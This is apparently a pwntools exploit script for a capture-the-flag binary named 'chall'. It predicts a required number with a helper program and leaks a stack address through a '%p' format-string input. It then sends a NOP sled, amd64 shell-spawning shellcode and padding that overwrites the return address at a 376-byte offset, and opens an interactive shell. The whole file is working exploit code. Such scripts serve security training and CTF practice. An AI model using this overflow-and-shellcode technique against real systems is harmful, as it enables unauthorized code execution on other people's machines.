#!/usr/bin/python3
from pwn import *
import subprocess

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        exe = local_exe
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    elif args.SSH:
        exe = remote_exe
        s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000)
        return s.process([exe] + argv)
    else:  # Run locally
        exe = local_exe
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
break *highscore+276
'''.format(**locals())


# USE ./filename otherwise gdb will not work
local_exe = './chall'
remote_exe = 'REMOTE'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(local_exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
#context.log_level = 'debug'
context.log_level = 'info'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

number = subprocess.run(["./predict"], capture_output=True).stdout
io.sendlineafter(b"> ", b"GOD")
io.sendlineafter(b'so GOD. how many honks?', number)

io.sendlineafter(b"what's your name again?", b'%p')

stack = int(io.recv().decode().split()[1], 16)
stack -= 0x126 # Offset to our buffer

# Space before return pointer 376
sh = asm(shellcraft.amd64.linux.sh())

payload = flat(
        asm('nop')*100,
        sh,
        b'A'*(376-100-len(sh)),
        pack(stack)
        )
io.sendline(payload)

io.interactive()
